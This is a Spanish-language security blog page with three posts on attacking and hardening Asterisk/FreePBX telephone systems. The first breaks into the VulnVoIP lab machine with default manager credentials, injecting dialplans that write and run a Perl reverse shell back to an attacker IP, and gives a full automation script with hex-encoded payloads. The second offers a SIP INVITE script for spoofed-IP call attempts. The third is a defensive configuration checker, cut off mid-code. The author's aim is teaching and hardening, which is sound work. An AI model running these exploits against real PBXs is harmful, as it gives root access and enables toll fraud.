Archivo de la categoría: FreePBX

Jugando con VulnVoIP

El otro día impartí una clase en el Curso de Seguridad Informática y Ciberdefensa de Criptored (http://www.criptored.upm.es/formacion/ciberdefensa/TemarioCursoCiberdefensa3.pdf) por tercer año consecutivo y, esta vez, por hacer la clase un poco más amena, decidí realizar una demo sobre un ataque a un máquina vulnerable. Escogí para ello Vulnvoip que podéis descargar aquí: http://www.rebootuser.com/?page_id=1739 y donde podéis seguir una guía de cómo explotarla aquí: http://www.rebootuser.com/?p=1117

Concretamente la máquina es una FreePBX con una versión de Asterisk bastante antigua y con más agujeros que un queso gruyer. Si echáis un ojo al ‘solucionario’ de rebootuser podéis ver cómo usando SipVicious es muy sencillo enumerar las extensiones e incluso crackear las cuentas. Además, vemos que tiene el servicio AMI o Manager abierto y con las contraseñas por defecto, e incluso con permisos para ejecutar comandos de Asterisk remotamente. Pero lo que ya no me gustó mucho es la forma de obtener acceso al sistema según el solucionario, pues se basa en un bug que posee esa versión concreta de FreePBX y es muy probable que en otras versiones ya no tengamos tanta suerte. Sin embargo, algo que parece que se ha pasado por alto es la posibilidad de acceder al sistema mediante la inyección y ejecución de un plan de llamadas o dialplan y realizando una simple llamada telefónica para ejecutarlo. Algo muy similar a lo que comenté en mi charla de la Rooted del 2013 (https://www.youtube.com/watch?v=0bM0pe8C55Q) pero en lugar de realizar la inyección desde la web, la podemos realizar usando el AMI, o servicio Manager, también conocido como servicio Click2Call.

Revisando un poco la forma de explotar el servicio Manager vemos que, con un telnet al puerto 5038 de la máquina:

Servicio AMI

 

Como se puede apreciar, el usuario y contraseña son los que vienen por defecto en una FreePBX y además tenemos permiso para ejecutar comandos. Tal y como se muestra en la web de Rebootuser, podemos usar el comando ‘sip show users’ para ver el listado de usuarios con sus contraseñas, previa autenticación.

Como venía diciendo, podemos, mediante comandos de consola de Asterisk, ejecutar comandos System que nos permitan interactuar con el Sistema Operativo. Veamos un ejemplo sencillo:

Captura de pantalla 2014-10-29 a las 19.23.58

Lo que hemos hecho es crear un plan de llamadas para la extensión 999, que no existe en el sistema,y que al ejecutarse escriba un fichero en disco, en una parte accesible desde la web.

Si echamos un vistazo al plan de llamadas vemos que se ha creado correctamente:

 

 

 

Captura de pantalla 2014-10-29 a las 19.24.28

Una vez creado el plan de llamadas, lo que hacemos es ejecutarlo mediante una llamada telefónica a esa extensión, y usando por ejemplo el softphone Zoiper:

 

 

Captura de pantalla 2014-10-29 a las 19.24.41

Tras la llamada, si accedemos vía web, veremos que el fichero se ha creado en el sistema:

Captura de pantalla 2014-10-29 a las 19.25.11

 

Al igual que hice en la charla de la Rooted, vamos a intentar crear un fichero que contenga una shell remota, de forma que tras la llamada, tengamos esa shell grabada en algún lugar del disco. Luego crearemos un segundo plan de llamadas que invoque a esa shell y nos abra una conexión remota contra nuestra máquina. Inyectaremos algo así:

dialplan add extension EXT,1,answer, into ext-local
dialplan add extension EXT,2,system,"echo -e 'use Socket; > /tmp/s.pl" into ext-local
dialplan add extension EXT,3,system,"echo -e 'socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")); >> /tmp/s.pl" into ext-local
dialplan add extension EXT,4,system,"echo -e 'if(connect(S,sockaddr_in(PORT,inet_aton("IP")))){' >> /tmp/s.pl" into ext-local
dialplan add extension EXT,5,system,"echo -e 'open(STDIN,">&S");' >> /tmp/s.pl" into ext-local
dialplan add extension EXT,6,system,"echo -e 'open(STDOUT,">&S");' >> /tmp/s.pl" into ext-local
dialplan add extension EXT,7,system,"echo -e 'open(STDERR,">&S");' >> /tmp/s.pl" into ext-local
dialplan add extension EXT,8,system,"echo -e 'exec("/bin/bash -i");}' >> /tmp/s.pl" into ext-local
dialplan add extension EXT,9,hangup, into ext-local

Tras la inyección, una llamada al 999 y tendremos el fichero almacenado en /tmp/s.pl

Luego creamos el segundo plan de llamadas:

dialplan add extension 999,1,answer, into ext-local
dialplan add extension 999,2,system,"perl /tmp/s.pl" into ext-local
dialplan add extension 999,3,hangup, into ext-local

Y antes de la segunda llamada, dejaremos en nuestra máquina un netcat a la escucha:


$ netcat -l -p 31337

Como es un poco engorroso ir creando línea a línea con un telnet al puerto del AMI, qué mejor que programar un pequeño script que nos facilite la tarea:

#!/usr/bin/perl -w
# -=-=-=-=-=-=-=-=-
# Asterisk AMI v1.0
# -=-=-=-=-=-=-=-=-
#
# Pepelux <pepelux[at]gmail[dot]com>
use warnings;
use strict;
use Getopt::Long;
use Asterisk::AMI;
use Data::Dumper;
my $host = ''; # host
my $port = ''; # port
my $user = ''; # user
my $pass = ''; # pass
my $cmd = '';  # command
my $cs = 0;    # create shell
my $es = 0;    # execute shell
my $ip = ''; # my local IP
my $rport = ''; # my local port for netcat
my $exten = '999';
#my $context = 'internal';
my $context = 'pbx14';
sub init() {
if ($^O =~ /Win/) {system("cls");}else{system("clear");}
# check params
my $result = GetOptions ("h=s" => \$host,
                        "u=s" => \$user,
                        "s=s" => \$pass,
                        "c=s" => \$cmd,
                        "cs+" => \$cs,
                        "es+" => \$es,
                        "ip=s" => \$ip,
                        "rp=s" => \$rport,
                        "p=s" => \$port);
 help() if ($host eq "" || $user eq "" || $pass eq "");
 help() if ($cmd eq "" && $cs eq 0 && $es eq 0);
 help() if ($cs eq 1 && $ip eq "");
 $port = "5038" if ($port eq "");
 $rport = "31337" if ($rport eq "");
 ami_call();
exit;
 ami_cmd($cmd) if ($cmd ne "");
 ami_cs($ip, $rport) if ($cs eq 1);
 ami_es() if ($es eq 1);
exit;
}
sub ami_call {
# my $src = shift;
# my $dst = shift;
my $astman = Asterisk::AMI->new(PeerAddr => $host,
PeerPort => $port,
 Username => $user,
Secret => $pass
 );
die "Unable to connect to asterisk" unless ($astman);
my $action = $astman->send_action ({ Action => 'originate',
# Channel => 'LOCAL/204@'.$context,
 Channel => 'LOCAL/204@'.$context,
 Priority => '1',
 WaitTime => '15',
 Exten => '675558423',
 Callerid => 'pepe',
 Context => $context
 });
my $response = $astman->get_response($action);
print Dumper($response->{'CMD'})."\n";
# print Dumper($response);
}
sub ami_cmd {
my $cmd = shift;
my $astman = Asterisk::AMI->new(PeerAddr => $host,
PeerPort => $port,
 Username => $user,
Secret => $pass
 );
die "Unable to connect to asterisk" unless ($astman);
my $action = $astman->send_action ({ Action => 'command',
 Command => $cmd
 });
my $response = $astman->get_response($action);
print Dumper($response->{'CMD'})."\n";
# print Dumper($response);
}
sub ami_es {
my $astman = Asterisk::AMI->new(PeerAddr => $host,
PeerPort => $port,
 Username => $user,
Secret => $pass
 );
die "Unable to connect to asterisk" unless ($astman);
my $cmd = "dialplan reload";
my $action = $astman->send_action ({ Action => 'Command', Command => $cmd });
my $cmd1 = "dialplan add extension $exten,1,answer, into $context";
my $cmd2 = "dialplan add extension $exten,2,system,\"perl /tmp/s.pl\" into $context";
my $cmd3 = "dialplan add extension $exten,3,hangup, into $context";
 $astman->send_action ({ Action => 'Command', Command => $cmd1 });
 $astman->send_action ({ Action => 'Command', Command => $cmd2 });
 $astman->send_action ({ Action => 'Command', Command => $cmd3 });
 $cmd = "dialplan show ".$exten."@".$context;
 $action = $astman->send_action ({ Action => 'Command', Command => $cmd });
my $response = $astman->get_response($action);
print Dumper($response->{'CMD'})."\n";
# print Dumper($response);
}
sub ami_cs {
my $ip = shift;
my $rport = shift;
my $astman = Asterisk::AMI->new(PeerAddr => $host,
PeerPort => $port,
 Username => $user,
Secret => $pass
 );
die "Unable to connect to asterisk" unless ($astman);
# dialplan add extension EXT,1,answer, into ext-local
# dialplan add extension EXT,2,system,"echo -e 'use Socket; > /tmp/s.pl" into ext-local
# dialplan add extension EXT,3,system,"echo -e 'socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")); >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,4,system,"echo -e 'if(connect(S,sockaddr_in(PORT,inet_aton("IP")))){' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,5,system,"echo -e 'open(STDIN,">&S");' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,6,system,"echo -e 'open(STDOUT,">&S");' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,7,system,"echo -e 'open(STDERR,">&S");' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,8,system,"echo -e 'exec("/bin/bash -i");}' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,9,hangup, into ext-local
my $cmd = "dialplan reload";
my $action = $astman->send_action ({ Action => 'Command', Command => $cmd });
# my $echo = "echo -e";
my $echo = "echo";
my $cmd1 = "dialplan add extension $exten,1,answer, into $context";
my $cmd2 = "dialplan add extension $exten,2,system,\"$echo '\\\\x75\\\\x73\\\\x65\\\\x20\\\\x53\\\\x6f\\\\x63\\\\x6b\\\\x65\\\\x74\\\\x3b\\\\x0d\\\\x0a' > /tmp/s.pl\" into $context";
my $cmd3 = "dialplan add extension $exten,3,system,\"$echo '\\\\x73\\\\x6f\\\\x63\\\\x6b\\\\x65\\\\x74\\\\x28\\\\x53\\\\x2c\\\\x50\\\\x46\\\\x5f\\\\x49\\\\x4e\\\\x45\\\\x54\\\\x2c\\\\x53\\\\x4f\\\\x43\\\\x4b\\\\x5f\\\\x53\\\\x54\\\\x52\\\\x45\\\\x41\\\\x4d\\\\x2c\\\\x67\\\\x65\\\\x74\\\\x70\\\\x72\\\\x6f\\\\x74\\\\x6f\\\\x62\\\\x79\\\\x6e\\\\x61\\\\x6d\\\\x65\\\\x28\\\\x22\\\\x74\\\\x63\\\\x70\\\\x22\\\\x29\\\\x29\\\\x3b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into $context";
my $cmd4 = "dialplan add extension $exten,4,system,\"$echo '\\\\x69\\\\x66\\\\x28\\\\x63\\\\x6f\\\\x6e\\\\x6e\\\\x65\\\\x63\\\\x74\\\\x28\\\\x53\\\\x2c\\\\x73\\\\x6f\\\\x63\\\\x6b\\\\x61\\\\x64\\\\x64\\\\x72\\\\x5f\\\\x69\\\\x6e\\\\x28$rport\\\\x2c' >> /tmp/s.pl\" into $context";
my $cmd5 = "dialplan add extension $exten,5,system,\"$echo '\\\\x69\\\\x6e\\\\x65\\\\x74\\\\x5f\\\\x61\\\\x74\\\\x6f\\\\x6e\\\\x28\\\\x22$ip\\\\x22\\\\x29\\\\x29\\\\x29\\\\x29\\\\x7b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into $context";
my $cmd6 = "dialplan add extension $exten,6,system,\"$echo '\\\\x6f\\\\x70\\\\x65\\\\x6e\\\\x28\\\\x53\\\\x54\\\\x44\\\\x49\\\\x4e\\\\x2c\\\\x22\\\\x3e\\\\x26\\\\x53\\\\x22\\\\x29\\\\x3b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into $context";
my $cmd7 = "dialplan add extension $exten,7,system,\"$echo '\\\\x6f\\\\x70\\\\x65\\\\x6e\\\\x28\\\\x53\\\\x54\\\\x44\\\\x4f\\\\x55\\\\x54\\\\x2c\\\\x22\\\\x3e\\\\x26\\\\x53\\\\x22\\\\x29\\\\x3b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into $context";
my $cmd8 = "dialplan add extension $exten,8,system,\"$echo '\\\\x6f\\\\x70\\\\x65\\\\x6e\\\\x28\\\\x53\\\\x54\\\\x44\\\\x45\\\\x52\\\\x52\\\\x2c\\\\x22\\\\x3e\\\\x26\\\\x53\\\\x22\\\\x29\\\\x3b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into $context";
my $cmd9 = "dialplan add extension $exten,9,system,\"$echo '\\\\x65\\\\x78\\\\x65\\\\x63\\\\x28\\\\x22\\\\x2f\\\\x62\\\\x69\\\\x6e\\\\x2f\\\\x73\\\\x68\\\\x20\\\\x2d\\\\x69\\\\x22\\\\x29\\\\x3b\\\\x7d\\\\x0d\\\\x0a' >> /tmp/s.pl\" into $context";
my $cmd10 = "dialplan add extension $exten,10,hangup, into $context";
 $astman->send_action ({ Action => 'Command', Command => $cmd1 });
 $astman->send_action ({ Action => 'Command', Command => $cmd2 });
 $astman->send_action ({ Action => 'Command', Command => $cmd3 });
 $astman->send_action ({ Action => 'Command', Command => $cmd4 });
 $astman->send_action ({ Action => 'Command', Command => $cmd5 });
 $astman->send_action ({ Action => 'Command', Command => $cmd6 });
 $astman->send_action ({ Action => 'Command', Command => $cmd7 });
 $astman->send_action ({ Action => 'Command', Command => $cmd8 });
 $astman->send_action ({ Action => 'Command', Command => $cmd9 });
 $astman->send_action ({ Action => 'Command', Command => $cmd10 });
 $cmd = "dialplan show ".$exten."@".$context;
 $action = $astman->send_action ({ Action => 'Command', Command => $cmd });
my $response = $astman->get_response($action);
print Dumper($response->{'CMD'})."\n";
# print Dumper($response);
}
sub help {
print qq{
Usage: $0 -h <host> -u <user> -s <secret> [-c <command>|-cs -ip <ip>|-es]
== Options ==
-c <string>= Command to execute (ex: 'core show version')
-ip       = IP address to create dialplan for remote shell
-cs       = Create dialplan to write on disk a remote shell
-es       = Create dialplan to execute a remote shell
== Examples ==
\$$0 -h 192.168.0.1 -u admin -p supersecret -c 'sip show peers'
\$$0 -h 192.168.0.1 -u admin -p supersecret -cs -i 192.168.0.10
\$$0 -h 192.168.0.1 -u admin -p supersecret -es
};
exit 1;
}
init();

Y veámoslo en funcionamiento:

Captura de pantalla 2014-10-29 a las 19.40.48

Lanzamos un comando de prueba, por ejemplo, el mismo que antes para ver los usuarios registrados en el Asterisk:

Captura de pantalla 2014-10-29 a las 19.41.28

Creamos el primer plan de llamadas para grabar el script en disco:

Captura de pantalla 2014-10-29 a las 19.42.10

Tras crearlo, realizamos una llamada y quedará almacenado en /tmp/s.pl

Luego creamos el segundo plan de llamadas para ejecutar el script:

Captura de pantalla 2014-10-29 a las 19.42.38

Ponemos el netcat a la escucha y realizamos la segunda llamada:

 

Captura de pantalla 2014-10-29 a las 19.43.09

 

Como podemos ver, no sólo hemos accedido al sistema, sino que además el servicio está ejecutándose como root, así que tenemos el control total de la máquina.

Conclusiones:

  • Nunca ejecutar un Asterisk como root
  • Si necesitamos el AMI, permitir únicamente los servicios necesarios y no la ejecución de comandos del sistema. Y sobre todo, filtrar las IPs que tienen acceso
  • No dejar una PBX accesible desde Internet, nunca
  • Mantener los sistemas siempre actualizados

Saludos

Sending fake auth for device XXX

Si administras  un Asterisk con conexión desde Internet seguro que habrás visto en los logs este mensaje muchísimas veces – por cierto, si tu Asterisk NO debe estar accesible desde Internet y ves esto en los logs o en la consola, ve revisando con urgencia la configuración de tu Router/Firewall 🙂

Lo normal es ver algo así en la consola:

Fake auth

Bueno, ¿y qué tiene esto de especial o de raro? Pues que la IP que aparece NO es la del atacante, sino la de nuestro servidor Asterisk. Esto la verdad es que deja fuera de juego a mucha gente; primero porque ver el mensaje intentando llamar a un número internacional ya acojona; y luego porque, como digo, la IP que aparece es la tuya y no la del atacante.

Mientras vas buscando en Google el por qué de este mensaje vas viendo la consola como van apareciendo más registros … y sin la IP, no puedes bloquear nada ni crear una regla en el fail2ban para automatizar el bloqueo de este tipo de ataques.

En las versiones más modernas de Asterisk parece que trae un módulo de seguridad que controla esto pero al menos en la 1.8, que sigue siendo de las más utilizadas, no hay manera de saber quien está intentando llamar desde tu sistema a coste cero (para él, claro).

Antes de ver la pésima solución, analizaremos por qué ocurre esto. Ya publiqué hace tiempo 2 entradas donde explicaba este tipo de ataques y donde ponía un script para ver si tu sistema era vulnerable. Las entradas son estas:

http://blog.pepelux.org/2012/02/15/asterisk-invite-attack/

http://blog.pepelux.org/2013/01/05/asterisk-%e2%80%93-invite-attack-ii/

Y bueno, como los scripts siempre están en continua evolución, aquí va de nuevo, un poco mejorado:

#!/usr/bin/perl
# -=-=-=-=-=-=-=
# SipINVITE v1.1
# -=-=-=-=-=-=-=
#
# Pepelux <pepelux[at]gmail[dot]com>
 
use warnings;
use strict;
use IO::Socket;
use NetAddr::IP;
use Getopt::Long;
use Digest::MD5;
 
my $host = '';     		# host
my $port = '';     		# port
my $dst_number = '';   	# destination number
my $src_number = '';   	# source number
 
my $lport = "31337";
my $hip = "";
my $fakeip = "";
 
sub init() {
    if ($^O =~ /Win/) {system("cls");}else{system("clear");}
 
    # check params
    my $result = GetOptions ("h=s" => \$host,
                             "d=s" => \$dst_number,
                             "s=s" => \$src_number,
                             "ip=s" => \$fakeip,
                             "p=s" => \$port);
 
    help() if ($host eq "" || $dst_number eq "");
 
    $port = "5060" if ($port eq "");
    $src_number = "100" if ($src_number eq "");
    
	 $hip = inet_ntoa(inet_aton($host));
    $fakeip = $hip if ($fakeip eq "");
 
    invite($hip, $fakeip, $host, $port, $dst_number, $src_number);
 
    exit;
}
 
sub invite {
    my $ip = shift;
    my $fakeip = shift;
    my $host = shift;
    my $nport = shift;
    my $dst = shift;
    my $src = shift;
 
    my $sc = new IO::Socket::INET->new(PeerPort=>$nport, Proto=>'udp', PeerAddr=>$ip, Timeout => 2);
 
    $lport = $sc->sockport();
 
    my $branch = &generate_random_string(71, 0);
    my $callerid = &generate_random_string(32, 1);
 
    my $msg = "INVITE sip:".$dst_number."@".$host.";transport=UDP SIP/2.0\n";
    $msg .= "Supported: \n";
    $msg .= "Allow: INVITE, ACK, OPTIONS, CANCEL, BYE\n";
    $msg .= "Contact: $dst <sip:".$dst."@".$ip.":$lport>\n";
    $msg .= "Via: SIP/2.0/UDP $ip:$lport;branch=$branch\n";
    $msg .= "Call-id: ".$callerid."@".$fakeip."\n";
    $msg .= "Cseq: 1 INVITE\n";
    $msg .= "From: $src <sip:".$src."@".$fakeip.">;tag=ddb044893807095baf1cf07269f03118\n";
    $msg .= "Max-forwards: 70\n";
    $msg .= "To: <sip:".$dst."@".$host.">\n";
    $msg .= "Content-length: 123\n\n";
    $msg .= "v=0\n";
    $msg .= "o=anonymous 1312841870 1312841870 IN IP4 $ip\n";
    $msg .= "s=session\n";
    $msg .= "c=IN IP4 $ip\n";
    $msg .= "t=0 0\n";
    $msg .= "m=audio 2362 RTP/AVP 0\n\n";
 
    print $sc $msg;
 
    print "\nSending:\n=======\n$msg\n\n";
 
    my $data = "";
    my $server = "";
    my $useragent = "";
    my $line = "";
 
    LOOP: {
        while (<$sc>) {
            $line = $_;
 
            if ($line =~ /[Ss]erver/ && $server eq "") {
               $line =~ /[Ss]erver\:\s(.+)\r\n/;
 
               if ($1) {
                    $server = $1;
                }
            }
 
            if ($line =~ /[Uu]ser\-[Aa]gent/ && $useragent eq "") {
               $line =~ /[Uu]ser\-[Aa]gent\:\s(.+)\r\n/;
 
               if ($1) {
                    $useragent = $1;
                }
            }
 
            $data .= $line;
 
            if ($line =~ /^\r\n/) {
                last LOOP;
            }
        }
    }
 
    print "\nReceiving:\n=========\n$data\n\n";
}
 
sub generate_random_string {
    my $length_of_randomstring = shift;
    my $only_hex = shift;
    my @chars;
 
    if ($only_hex == 0) {
        @chars = ('a'..'z','0'..'9');
    }
    else {
        @chars = ('a'..'f','0'..'9');
    }
    my $random_string;
    foreach (1..$length_of_randomstring) {
        $random_string.=$chars[rand @chars];
    }
    return $random_string;
}
 
sub help {
    print qq{
Usage:  $0 -h <host> -d <dst_number> [options]
 
== Options ==
-d <integer>     = Destination number
-s <integer>     = Source number (default: 100)
-p <integer>     = Remote SIP port (default: 5060)
-ip <string>     = Fake IP (by default is the same as host)
 
== Examples ==
\$$0 -h 192.168.0.1 -d 100
\$$0 -h 192.168.0.1 -d 666666666 -s 200
\$$0 -h 192.168.0.1 -d 100 -ip 1.2.3.4
 
};
 
    exit 1;
}
 
init();

De hecho, lo que ocasionó el registro de la captura anterior fue esto:

$ perl sipinvite.pl -h sip3 -d 44123456789 -s 0044121212121

Y las nuevas opciones que trae el script son:

sipinvite.pl

Podemos jugar con los números origen y destino, e incluso realizar llamadas telefónicas alterando el Callerid, en caso de que el sistema no esté bien configurado (tal y como comento en las entradas de mi blog que he mencionado antes). La verdad es que ver la IP de tu sistema mosquea mucho, pero si pones una aleatoria puedes volver loco al pobre administrador:

$ perl sipinvite.pl -h sip3 -d 100 -ip 1.2.3.4

$ perl sipinvite.pl -h sip3 -d 100 -ip "VAIS A MORIR TODOS"


En realidad este mensaje, aunque asusta bastante, quiere decir que está todo bien configurado pero que hay un gracioso intentando mandar mensajes INVITE para realizar llamadas. En caso de que tuviéramos mal configurado nuestro sistema veríamos en la consola cómo se realiza una llamada saliente, como si la hubiera marcado un teléfono. Lo que nos están mandando para provocar este aviso es algo así:

Como solución tenemos 2 opciones. La primera es acostumbrarlos a ver el aviso por pantalla 🙂 … y la segunda es ‘retocar’ el código de Asterisk y recompilar. Para ello tendremos que buscar en channels/chan_sip.c el lugar donde nos muestra ese error y antes, hacer un print con la IP del atacante. Algo así:

        } else if (sip_cfg.alwaysauthreject) {
                res = AUTH_FAKE_AUTH; /* reject with fake authorization request */
                ast_log(LOG_NOTICE, "hacking attempt detected '%s'\n", ast_sockaddr_stringify_addr(addr));

Por lo que en nuestra consola veríamos lo siguiente:

 

Y ya con la IP del atacante podremos realizar el bloqueo correspondiente en nuestras IPTABLES o, mejor aún, crear una regla en Fail2ban que bloquee las IPs que aparezcan en el mensaje que hemos creado: hacking attempt detected ‘X.X.X.X’

Espero que os sirva. Saludos

 

¿Cómo de segura es tu FreePBX?

En el último post añadí los enlaces a la charla que impartí en la última RootedCon así como en la NoConName. También puse los scripts que utilicé para obtener una shell de forma automática uan vez que el panel de control ha sido comprometido. Pero la verdad es que dando una charla ofensiva siempre te queda un mal sabor de boca, así que he creado un pequeño script que verifica los fallos más gordos en la configuración de una FreePBX.

Realmente, tal y como comento en la charla, este tipo de plataformas tienen un gran problema de diseño y es muy difícil corregir ciertas cosas. Por ejemplo, si desde la web administramos el Asterisk, se crea la necesidad de permitir el acceso a la modificación de ficheros del sistema de VoIP, ya que es necesario reescribir ciertos archivos. Pero del mismo modo que mysql se ejecuta como root, ¿por qué no usamos diferentes usuarios para Asterisk y para Apache?, aunque a nivel de grupo luego permitamos la modificación de ciertos ficheros.

Por otro lado, al usar una FreePBX, Elastix o similar, nos hacemos muy cómodos ya que realmente no es necesario tener conocimientos ni de Linux ni de VoIP. Todo se realiza muy fácilmente desde el panel de control. Una reflexión que recomiendo leer es la que hace Elio Rojano en su blog, Sinologichttp://www.sinologic.net/blog/2011-11/mejor-editar-archivos-conf-que-interfaz-web.html

Bueno, pues aquí va el pequeño script, que por cierto he realizado de forma muy rápida por falta de tiempo, pero puede servir como base para ‘parchear’ algunas cosas que vienen por defecto en estas plataformas:

#!/usr/bin/perl
# -=-=-=-=-=-=-=-=-=-=-=
# FreePBX Security check
# -=-=-=-=-=-=-=-=-=-=-=
#
# Jose Luis Verdeguer (aka Pepelux)
#
# <verdeguer@zoonsuite.com>

use Parse::Netstat qw(parse_netstat);
use IPTables::Parse;

sub init() {
	die("You must be root to run this script!\n\n") if (getpwuid($<) ne "root");

	my $output = `netstat -lnp  | grep -v -i listening`;
	my $res = parse_netstat output => $output;

	print "\nRunning services:\n----------------\n";
	print "Warning! Mysql (3306/tcp) is accessible from any address.Consider allowing local access only\n" if ($output =~ /0\.0\.0\.0\:3306/);
	print "Warning! Asterisk Manager (5038/tcp) is accessible from any address. Consider allowing local access only\n" if ($output =~ /0\.0\.0\.0\:5038/);
	print "Warning! SSH (22/tcp) is accessible from any address. Consider allowing local access only\n" if ($output =~ /0\.0\.0\.0\:22/);
	print "Warning! Http (80/tcp) is accessible from any address. Consider allowing local access only\n" if ($output =~ /\:\:\:80/);
	print "Warning! Tftp (69/udp) is accessible from any address. Consider allowing local access only\n" if ($output =~ /0\.0\.0\.0\:69/);
	print "Warning! Asterisk (5060/udp) is accessible from any address. Consider allowing local access only\n" if ($output =~ /0\.0\.0\.0\:5060/);

	print "\nConfig files:\n------------\n";
	print "Warning! Root user can access by SSH. Consider using 'PermitRootLogin no'\n" if (ssh_root() eq 1);
	print "Warning! Asterisk modules running are not in the default folder. Check '/etc/asterisk/asterisk.conf'\n" if (asterisk_modules() eq 1);
	print "Warning! Asterisk Manager (AMI) is enabled. Is really necessary?\n" if (asterisk_manager() eq 1);
	print "Warning! Asterisk Manager (AMI) is accesible by everybody. Change 'permit' value to '127.0.0.1'\n" if (asterisk_manager_access() eq 1);

	print "\nPasswords:\n---------\n";
	print "Warning! Asterisk Manager (AMI) has a default password in '/etc/asterisk/manager.conf'.\n" if (asterisk_manager_passwd() eq 1);
	print "Warning! Asterisk Manager (AMI) has a default password in '/etc/amportal.conf'.\n" if (asterisk_manager_passwd2() eq 1);
	print "Warning! Asterisk Manager (AMI) has a default password in '/etc/asterisk/extensions_additional.conf'.\n" if (asterisk_manager_passwd3() eq 1);

	print "\nFirewall:\n--------\n";
	print "Warning! IPTables INPUT policy is 'ACCEPT'.\n" if (iptables() eq 'ACCEPT');

	print "\nAsterisk:\n--------\n";
	print "Warning! Allowguest is enabled. It's a good choise to set 'allowguest=no' in 'sip.conf'\n" if (allowguest() eq 0);
	my $ua = useragent();
	print "Warning! Useragent shows your FreePBX version: '$ua'. It's a good idea to change it to avoid intrusions based on new bugs\n" if ($ua ne '');
	my $ver = version();
	print "Warning! Your FreePBX version is too old ($ver). Consider upgrading your system\n" if ($ver < '2.10');
	print "Warning! There are asterisk modules with different creation date. Please revise '/use/lib/asterisk/modules' to check possible malwares\n" if (mods() > 1);

	print "\nSystem:\n------\n";
	my $apache = apache_user();
	print "Warning! Apache server is running as 'asterisk'. Consider creating a different user, for example, 'apache'\n" if ($apache eq 'asterisk');
	print "Warning! There are logs property of 'asterisk' user. It's a good idea that 'root' be the owner of these files\n" if (logs() > 0);
	my $sudo = sudoers();
	print "Warning! '$sudo' is allowed for 'asterisk' user without a password. It's possible to get 'root'\n" if ($sudo ne '');

	print "\n";

	unlink "/tmp/iptables.out";
	unlink "/tmp/iptables.err";
	unlink "/tmp/fpbx.version";
	unlink "/tmp/apache.user";
	unlink "/tmp/fpbx.logs";
	unlink "/tmp/fpbx.mods";
}

sub iptables {
        my $ipt_bin = '/sbin/iptables'; # can set this to /sbin/ip6tables

        my %opts = (
                'iptables' => $ipt_bin,
                'iptout'   => '/tmp/iptables.out',
                'ipterr'   => '/tmp/iptables.err',
                'debug'    => 0,
                'verbose'  => 0
        );

        my $ipt_obj = new IPTables::Parse(%opts)
        or die "[*] Could not acquire IPTables::Parse object";

        my $rv = 0;

        my $table = 'filter';
        my $chain = 'INPUT';

        $ipt_obj->default_drop($table, $chain);

        open (FILE_IPT, '/tmp/iptables.out');
        my $f = "";

        while (<FILE_IPT>) {
                chomp;
                $f .= "$_\n";
        }

        close (FILE_IPT);

        $f =~ /Chain\sINPUT\s\(policy\s([A-Z|a-z]*)\)/;

        return $1;
}

sub version {
        system("yum list freepbx.noarch |grep 'freepbx.noarch' > /tmp/fpbx.version");

        open (FILE_VER, '/tmp/fpbx.version');

        while (<FILE_VER>) {
                chomp;
                my $aux = $_;
                $aux =~ /freepbx\.noarch\s+\t+([\-|0-9|\.]*)\s+\t+/;
                $aux =~ /[a-z|\.|\s|\t]*([\-|0-9|\.]*)/;
                close (FILE_VER);

                return $1;
        }

        return "";
}

sub sudoers {
        open (FILE_SUD, '/etc/sudoers');

        while (<FILE_SUD>) {
                chomp;
                return 'nmap' if ($_ =~ /asterisk\s*ALL\s*=\s*NOPASSWD\:\s*\/usr\/bin\/nmap/ && $_ !~ /^#/);
                return 'yum' if ($_ =~ /asterisk\s*ALL\s*=\s*NOPASSWD\:\s*\/usr\/bin\/yum/ && $_ !~ /^#/);
        }

        close (FILE_SUD);

        return "";
}

sub apache_user {
        system("ps -ef | grep httpd | grep -v root | cut -d\" \" -f1 | uniq > /tmp/apache.user");

        open (FILE_APA, '/tmp/apache.user');
        my $aux = "";

        while (<FILE_APA>) {
                chomp;
                $aux = $_;
        }

        close (FILE_APA);

        return $aux;
}

sub logs {
        system("ls /var/log -laR | grep asterisk | wc | cut -d\" \" -f6 > /tmp/fpbx.logs");

        open (FILE_LOG, '/tmp/fpbx.logs');
        my $aux = "";

        while (<FILE_LOG>) {
                chomp;
                $aux = $_;
        }

        close (FILE_LOG);

        return $aux;
}

sub mods {
        system("ls -la /usr/lib/asterisk/modules | grep \".so\" | cut -d\":\" -f1 | cut -d\"r\" -f7 | cut -d\" \" -f2 | uniq | wc | cut -d\" \" -f7 > /tmp/fpbx.mods");

        open (FILE_MOD, '/tmp/fpbx.mods');
        my $aux = "";

        while (<FILE_MOD>) {
                chomp;
                $aux = $_;
        }

        close (FILE_MOD);

        return $aux;
}

sub allowguest {
        open (FILE, '/etc/asterisk/sip.conf');

        while (<FILE>) {
                chomp;
                return 1 if ($_ =~ /allowguest\s*=\s*no/i && $_ !~ /^#/);
        }

        return 0;
}

sub useragent {
        open (FILE, '/etc/asterisk/sip_general_additional.conf');

        while (<FILE>) {
                chomp;
                my $aux = $_;

                if ($aux =~ /useragent\s*=\s*fpbx-/i && $_ !~ /^#/) {
                        $aux =~ /useragent\s*=\s*([a-z|A-Z|\-|0-9|\.|\(|\)]*)/;
                        return $1;
                }
        }

        return '';
}

sub ssh_root {
        open (FILE, '/etc/ssh/sshd_config');

        while (<FILE>) {
                chomp;
                return 0 if ($_ =~ /permitrootlogin\s*no/i && $_ !~ /^#/);
        }

        return 1;
}

sub asterisk_modules {
        open (FILE, '/etc/asterisk/asterisk.conf');

        while (<FILE>) {
                chomp;
                return 0 if ($_ =~ /astmoddir\s*=>\s*\/usr\/lib\/asterisk\/modules/i);
        }

        return 1;
}

sub asterisk_manager {
        open (FILE, '/etc/asterisk/manager.conf');

        while (<FILE>) {
                chomp;
                return 1 if ($_ =~ /enabled\s*=\s*yes/i && $_ !~ /^;/);
        }

        return 0;
}

sub asterisk_manager_access {
        open (FILE, '/etc/asterisk/manager.conf');

        while (<FILE>) {
                chomp;
